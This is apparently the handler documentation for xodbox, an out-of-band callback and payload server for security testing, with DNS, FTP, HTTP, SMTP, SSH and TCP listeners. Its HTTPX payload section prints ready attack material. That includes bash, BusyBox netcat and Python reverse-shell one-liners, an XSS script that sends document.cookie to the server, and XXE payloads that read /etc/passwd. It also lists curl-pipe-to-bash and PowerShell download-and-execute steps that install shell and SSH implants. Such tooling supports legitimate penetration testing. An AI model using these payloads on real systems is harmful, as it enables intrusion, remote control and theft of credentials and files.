Handlers are services that listen on ports and respond to requests.
This is the multi-page printable view of this section. Click here to print.
Handlers
- 1: DNS
- 2: FTP
- 3: HTTPX
- 3.1: Default Payloads Seeds
- 3.1.1: Default Header
- 3.1.2: Redirect
- 3.1.3: Remote Address Reflector
- 3.1.4: Robots TXT
- 3.1.5: Build MDaaS
- 3.1.6: Inspect
- 3.1.7: XSS HTML
- 3.1.8: XSS JavaScript
- 3.1.9: Default Favicon
- 3.1.10: Bash Reverse Shell
- 3.1.11: Bind Shell
- 3.1.12: BusyBox Reverse Shell
- 3.1.13: Detect platform
- 3.1.14: HTML IFrame With Request Params
- 3.1.15: Open Graph
- 3.1.16: Python Reverse Shell
- 3.1.17: Reverse Shell
- 3.1.18: Simple SSH
- 3.1.19: Simple SSH Service
- 3.1.20: XSS Image Template
- 3.1.21: XXE Callback
- 3.1.22: XXE DTD
- 3.1.23: XXE SVG Hostname
- 3.1.24: XXE SVG Passwd
- 3.1.25: XXE SVG Request Params
- 3.1.26: XXE System
- 3.1.27: Default Page
- 3.1.28: In Development Seeds
- 3.1.28.1: Bind shell powershell
- 3.1.28.2: Pipe Process List to Notifier
- 3.1.28.3: WPAD
- 3.2: Example Payloads
- 3.2.1: List Payloads
- 4: SMTP
- 5: SSH
- 6: TCP
1 - DNS
In development feature
This feature is in development. Please help make it awesome by providing feedback on your experience using it.Purpose
A DNS UDP listener that records every query it receives and answers each one with a single A record. Useful for confirming out-of-band DNS resolution from an application under test (e.g. SSRF, XXE, log4shell flavoured probes).
Behaviour
- Listens on UDP at the configured
listeneraddress. - For each incoming query, dispatches an
InteractionEventwhoseDetails()reports the first non-empty question name. - Replies with an
Arecord pointing every name todefault_ip, regardless of the requested type. Non-A queries still receive the forged A reply. - A future enhancement may store per-name records in the database; today the handler is intentionally a single-answer reflector.
Configuration
| Key | Required | Default | Notes |
|---|---|---|---|
handler | yes | — | Must be DNS. |
listener | yes | — | Bind address, e.g. :53 or 0.0.0.0:5353. Requires CAP_NET_BIND_SERVICE for port 53. |
default_ip | yes | — | IPv4 string returned as the A record for every query. Invalid values yield empty responses. |
Operational notes
- The handler responds to every query, including ANY/AAAA/MX. Use a filter at the notifier layer if you only care about specific names.
Stop()shuts the underlying*dns.Serverdown with the supplied context as the drain deadline.
2 - FTP
In development feature
This feature is in development. Please help make it awesome by providing feedback on your experience using it.Purpose
An FTP listener that presents a fake directory tree to clients. Useful
for confirming out-of-band FTP fetches, picking up credential probes,
and observing what scanners look for. List/read/auth interactions are
emitted as InteractionEvents; no real files are served.
Behaviour
- Backed by
fclairamb/ftpserverlib. - Filesystem is an in-memory afero
MemMapFsseeded with the directory paths listed infake_dir_tree. Operators can probe the tree but cannot write durable state. - Plaintext authentication is allowed; reads/writes/lists emit
fine-grained action events (
AuthSuccess,AuthFail,ListFiles,FileOpen,FileRead,FileWrite,FileReadDir,FileDelete). - The bundled
SimpleServerDriver.AuthUserrejects every login unlessCredentialshas been populated programmatically. The current YAML schema does not exposeCredentials; the default behaviour is therefore “log the attempt and refuse”.
Configuration
| Key | Required | Default | Notes |
|---|---|---|---|
handler | yes | — | Must be FTP. |
listener | yes | — | Bind address, e.g. :21 or :2121 for unprivileged ports. |
server_name | no | FTP Server | Banner returned to clients in the 220 greeting. |
fake_dir_tree | no | test/old/fake,test/new/fake | Comma-separated paths created on the in-memory fs at startup. |
Events
| Action | Trigger |
|---|---|
AuthSuccess | A USER/PASS pair matched a configured credential. |
AuthFail | Authentication was rejected. |
Logout | Client disconnected after auth. |
ListFiles | Client issued LIST/NLST. |
FileOpen | Client opened a file (RETR/STOR). |
FileRead | Bytes read from a file. |
FileWrite | Bytes written to a file. |
FileReadDir | Directory enumeration. |
FileDelete | DELE command. |
Operational notes
- Plaintext credentials submitted to this handler should be considered compromised; do not run it where users might accidentally type real passwords into it.
Stop()calls the underlyingFtpServer.Stop()(no context deadline; ftpserverlib does not accept one).
3 - HTTPX
Purpose
The primary HTTP/HTTPS listener. It serves user-defined payloads
keyed by URL pattern, hosts static assets, exposes a private JSON
API, and can transparently provision Let’s Encrypt certificates via
ACME-DNS-01. Every request produces an InteractionEvent so
out-of-band HTTP reach-out from an application under test can be
asserted against expected paths and headers.
Behaviour
- HTTP serves the bundled payload database (see
payload_db_seed.gofor the seeded set). Additional payloads can be loaded from a watched directory viapayload_dir; changes are picked up viafsnotifyand debounced into the database. - HTTPS mode activates when
tls_namesis set; certmagic provisions certificates via ACME-DNS-01 against the configureddns_provider. Withoutdns_provider, HTTPS will fall back to HTTP-01 / TLS-ALPN challenges, which require port 80/443 reachability from the internet. - Bot suppression: clients that exceed 30 requests in any one-minute
bucket are marked as bots (
model.IsBot) and have their subsequent events suppressed from notifier delivery. The bot threshold is not configurable today. - The private API (mounted at
api_path) requires the headerAuthorization: Token <api_token>on every request. An emptyapi_tokenrejects all callers. - Embedded static assets ship at
/ixdbxi/.
Configuration
General
| Key | Required | Default | Notes |
|---|---|---|---|
handler | yes | — | Must be HTTPX. |
listener | yes | — | Bind address, e.g. :80 or :8080. |
static_dir | no | — | Directory served at /static/. Created on first start with mode 0750 if missing. |
payload_dir | no | — | Directory of *.md payload definitions. Watched at runtime; updates are upserted. |
api_path | no | — | URL path prefix to mount the JSON API on, e.g. /api. Normalised to leading/trailing slash. |
api_token | no | — | Bearer-style token required by the /private/* API routes. |
TLS / ACME
| Key | Required | Default | Notes |
|---|---|---|---|
tls_names | no | — | Comma-separated hostnames. Setting any value enables HTTPS via certmagic. |
acme_email | no | — | ACME account contact address. |
acme_accept | no | false | Must be the literal string "true" to accept the ACME provider’s terms of service. |
acme_url | no | — | ACME directory URL. Defaults to Let’s Encrypt production; use the staging URL for testing. |
dns_provider | no | — | One of namecheap or route53. Required for the DNS-01 challenge path. |
dns_provider_api_user | no | — | API user (namecheap only). |
dns_provider_api_key | no | — | API key (namecheap only). |
MDaaS (Malicious Daemon as a Service) cross-compile
These keys are baked into binaries served from the /build/<os>/<arch>/<program>
route. Only useful when payloads request a build.
| Key | Required | Default | Notes |
|---|---|---|---|
mdaas_log_level | no | — | One of NONE, INFO, WARN, ERROR, DEBUG. |
mdaas_bind_listener | no | — | Listener address baked into the built MDaaS binary. |
mdaas_allowed_cidr | no | — | CIDR allowed to connect to the built MDaaS binary at runtime. |
mdaas_notify_url | no | — | Webhook URL the built binary calls back to. |
Filters
The entire HTTP request (request line + headers + body) is fed to the notifier filter regexps. To alert on a specific prefix:
filter: "(GET|POST|HEAD|DELETE|PUT|PATCH|TRACE) /myPrefix"
This would match:
https://test.example/myPrefixexamplehttps://test.example/myPrefix/examplehttps://test.example/myPrefix/asdasd/asdasd/asd/as/d
And would not match:
https://test.example/robots.txthttps://test.example/asd/myPrefix/example
Operational notes
Stop(ctx)shuts down whichever server pair Start booted: in HTTP mode, the single*http.Server; in HTTPS mode, both the ACME HTTP-01 challenge listener on :80 and the TLS listener on :443. The payload-directory watcher goroutine (ifpayload_dirwas set) is also cancelled. ctx bounds how long in-flight requests have to drain.- Sensitive operator keys (
api_token,dns_provider_api_key) end up in the xodbox config file. Restrict that file’s permissions to0600and the running user.
Backlog
New features
- Let’s Encrypt Auto Cert
- Exfil data saver
Legacy functionality to be implemented
- robots.txt
- unfurly
- arbitrary json
- b64
- redirect
- b64
- basic auth
- breakfastbot
- allow origin *
Legacy functionality that isn’t specific to a handler
- alert pattern with payload
- alert pattern (alert patterns are part of notifiers, maybe we need to expose alert patterns based on handler type)
- slack hook (this is now a notifier)
3.1 - Default Payloads Seeds
Default payloads that come with xodbox.
3.1.1 - Default Header
Adds an HTTP header to all HTTP responses.
Example Request
curl -i http://xodbox.test/
Example Response
Server: BreakfastBot/1.0.0
3.1.2 - Redirect
HTTP Redirects to the query parameter l using the query param s as the status code.
| What | Description | GET Parameters |
|---|---|---|
| Location | Location to redirect to | l |
| Status | HTTP status code | s |
Example Request
curl -i "http://xodbox.test/redir?l=https://github.com/defektive/xodbox&s=301"
Example Response
Location: https://github.com/defektive/xodbox
3.1.3 - Remote Address Reflector
Simple robots txt to prevent indexing.
Example Request
curl http://xodbox.test/ip
Example Response
10.1.2.3
3.1.4 - Robots TXT
Simple robots txt to prevent indexing.
Example Request
curl http://xodbox.test/robots.txt
Example Response
User-Agent: *
Disallow: /
3.1.5 - Build MDaaS
3.1.6 - Inspect
Depends on an internal code
/inspect
Inspect or reflect the request back in various formats.
- Plain Text (default, .txt)
- HTML (.html, .html)
- GIF (.gif)
- JPEG (.jpg)
- PNG (.png)
- MP4 (.mp4)
- XML (.xml)
- JSON (.json)
- Javascript (.js)
Examples
- http://localhost/inspect
- http://localhost/some/random/path/inspect.gif
3.1.7 - XSS HTML
/jsc.html
Simple HTML to load simple JS Payload.
3.1.8 - XSS JavaScript
/jsc
Simple JS Payload. Useful form embedding or quickly copying and modifying for an XSS payload to prove execution and exfil.
(function (){
var s = document.createElement("img");
document.body.appendChild(s);
s.src="//{{.Request.Host}}/{{ .NotifyString}}/jscb?src="+window.location+"&c="+document.cookie;
})()
3.1.9 - Default Favicon
Redirects to the embedded default logo, exposed via embedded fs.
Example Request
curl -i http://xodbox.test/favicon.ico
3.1.10 - Bash Reverse Shell
Useful for reverse shells on busybox systems.
Example Request
Params
| Parameter | Default Value | Description |
|---|---|---|
| h | Client IP address | Host to connect to |
| p | 9091 | Port to connect to |
curl -i "http://xodbox.test/rsh/bash?h=10.10.10.10&p=9090"
Example Response
bash -i >& /dev/tcp/127.0.0.1/9091 0>&1
0<&196;exec 196<>/dev/tcp/127.0.0.1/9091 ; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/127.0.0.1/9091 0<&1 2>&1
3.1.11 - Bind Shell
Build a bind shell implant for the specific platform and execute it.
Example Request
curl xodbox/bind.sh|bash
3.1.12 - BusyBox Reverse Shell
Useful for reverse shells on busybox systems.
Example Request
Params
| Parameter | Default Value | Description |
|---|---|---|
| h | Client IP address | Host to connect to |
| p | 9091 | Port to connect to |
curl -i "http://xodbox.test/rsh/bb?h=10.10.10.10&p=9090"
Example Response
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1111 >/tmp/f
3.1.13 - Detect platform
Example Request
curl -i "http://xodbox.test/detect.sh"
This will curl the notification url with the detected values in the path.
3.1.14 - HTML IFrame With Request Params
/ht
attempts to get whatever files is supplied via the f query parameter
3.1.15 - Open Graph
Useful for unfurlers. Maybe we should merge this into inspect…
Example Request
curl -i "http://xodbox.test/unfurl"
Example Response
Location: https://github.com/defektive/xodbox
3.1.16 - Python Reverse Shell
Useful for reverse shells on busybox systems.
Example Request
Params
| Parameter | Default Value | Description |
|---|---|---|
| h | Client IP address | Host to connect to |
| p | 9091 | Port to connect to |
curl -i "http://xodbox.test/rsh/python?h=10.10.10.10&p=9090"
Example Response
import socket,os,pty;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",9091));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")
3.1.17 - Reverse Shell
Build a reverse shell implant for the specific platform and execute it.
Example Request
curl xodbox/reverse.sh|bash
3.1.18 - Simple SSH
Build an SSH server implant for the specific platform and execute it.
Example Request
curl xodbox/ssh.sh|bash
3.1.19 - Simple SSH Service
Build an SSH server implant for the specific platform and install it as a service, then start the service.
Example Request
curl xodbox/ssh.sh|bash
3.1.20 - XSS Image Template
3.1.21 - XXE Callback
XXE Callback used by xxe-system
3.1.22 - XXE DTD
/dt
A vulnerable application for testing is in ../../../../cmd/xodbox-validator
/evil.dtd
dtd for use by others
3.1.23 - XXE SVG Hostname
/sh
attempts to get /etc/hostname
SVG with XXE payloads
3.1.24 - XXE SVG Passwd
/sp
attempts to get /etc/passwd
3.1.25 - XXE SVG Request Params
/sv
attempts to get whatever files is supplied via the f query parameter
3.1.26 - XXE System
/dt
A vulnerable application for testing is in ../../../../cmd/xodbox-validator
3.1.27 - Default Page
Adds an HTTP header to all HTTP responses.
Example Request
curl -i http://xodbox.test/
Example Response
hi
3.1.28 - In Development Seeds
Seeds that are not tested or finished.
3.1.28.1 - Bind shell powershell
iex ((New-Object System.Net.WebClient).DownloadString('http://xobox/bind.ps1'))
3.1.28.2 - Pipe Process List to Notifier
Example Request
curl xodbox/pipe.sh|bash
3.1.28.3 - WPAD
WPAD Proxy. Not really useful at the moment. Should be more useful in the future
3.2 - Example Payloads
Default payloads that come with xodbox.
3.2.1 - List Payloads
List Payloads
---
title: List Payloads
description: List payloads
weight: 1
pattern: /i-forgot-how-things-work$
is_final: true
data:
headers:
Content-Type: text/plain
body: |
Payloads
{{ range .Payloads }}
{{ .Pattern }} - {{ .Name }} [{{ .Type }}]
{{ .Description }}
{{ end }}
---
4 - SMTP
In development feature
This feature is in development. Please help make it awesome by providing feedback on your experience using it.Purpose
An SMTP listener that accepts (and then discards) mail to confirm
out-of-band email delivery from an application under test. Every
SMTP verb produces a separate InteractionEvent so MAIL FROM, RCPT
TO, DATA, RSET, AUTH PLAIN, and QUIT all show up in the dispatch
stream.
Behaviour
- Backed by
emersion/go-smtp. AllowInsecureAuth = true— plaintext AUTH PLAIN is accepted on the cleartext socket; every attempt is recorded as aPasswordAuthevent. Do not point clients carrying real credentials at this handler.- A self-signed certificate is generated on startup for STARTTLS, with
a randomised 128-bit serial and the SAN
test.com. The certificate is intentionally untrusted (see SECURITY.md) — clients that accept it are the bug. - The DATA body is read but discarded; only the action is dispatched.
Configuration
| Key | Required | Default | Notes |
|---|---|---|---|
handler | yes | — | Must be SMTP. |
listener | yes | — | Bind address, e.g. :25, :587, or :1587 for unprivileged operation. |
Events
| Action | Trigger |
|---|---|
PasswordAuth | Client issued AUTH PLAIN. |
Mail | Client issued MAIL FROM. |
Rcpt | Client issued RCPT TO. |
Data | Client started DATA (body ignored). |
Reset | Client issued RSET. |
Logout | Session ended (QUIT or connection close). |
Operational notes
Stop(ctx)callssmtp.Server.Shutdown(ctx); in-flight sessions get the context’s deadline to drain.- The handler’s
Debugfield is currently wired toos.Stdout— every SMTP exchange is echoed there in addition to being dispatched.
5 - SSH
In development feature
This feature is in development. Please help make it awesome by providing feedback on your experience using it.Purpose
An SSH listener that records every authentication attempt and then rejects it. Useful for credential-stuffing telemetry and for confirming out-of-band SSH reach-out from an application under test.
Behaviour
- Backed by
gliderlabs/ssh. - Both password and public-key auth callbacks dispatch an
InteractionEvent(PasswordAuth/KeyAuth) carrying the attempting username and remote address. Both callbacks then returnfalse, so no session is ever established. - If a session were to open (it does not, by design), it would write
"This account is currently not available\n"and close. - A fresh host key is generated on first startup. The handler does not currently expose host-key configuration.
Configuration
| Key | Required | Default | Notes |
|---|---|---|---|
handler | yes | — | Must be SSH. |
listener | no | :22 | Bind address. Use :2222 to avoid CAP_NET_BIND_SERVICE. |
Events
| Action | Trigger |
|---|---|
PasswordAuth | Client offered username:password. Submitted password is logged at debug. |
KeyAuth | Client offered a public key. Key type is logged at debug. |
Operational notes
- Every credential attempt that lands here is logged. Plaintext passwords reaching the handler should be treated as compromised.
Stop(ctx)callsssh.Server.Shutdown(ctx).
6 - TCP
In development feature
This feature is in development. Please help make it awesome by providing feedback on your experience using it.Purpose
A raw TCP listener that accepts every connection, reads anything the client sends, and emits an event per chunk. Useful for confirming out-of-band TCP reach-out from an application under test where the client doesn’t speak a recognised application protocol.
Behaviour
- Listens on
tcp4at the configuredlisteneraddress. - One
Connectevent per accepted connection. - One
DataRecvevent perread()call from the client, carrying the bytes that were actually read inRawData(Data()). Chunks are copied before dispatch — slices are safe to retain across the channel. - One
Disconnectevent when the read loop exits (EOF, peer reset, read error, orStop()). - The handler never writes back to the client.
Configuration
| Key | Required | Default | Notes |
|---|---|---|---|
handler | yes | — | Must be TCP. |
listener | yes | — | Bind address, e.g. 127.0.0.1:9090. IPv6-only binds are not currently supported. |
Events
| Action | Trigger | Data payload |
|---|---|---|
Connect | Accepted a new connection. | none |
DataRecv | Bytes received from the client. | the chunk just read |
Disconnect | Read loop exited (EOF, error, or Stop). | none |
Operational notes
- The accept loop returns from
Start()cleanly whenStop()closes the listener. In-flighthandleConngoroutines drain naturally as their peers close. Stop(ctx)ignores the context’s deadline — closing the listener is immediate.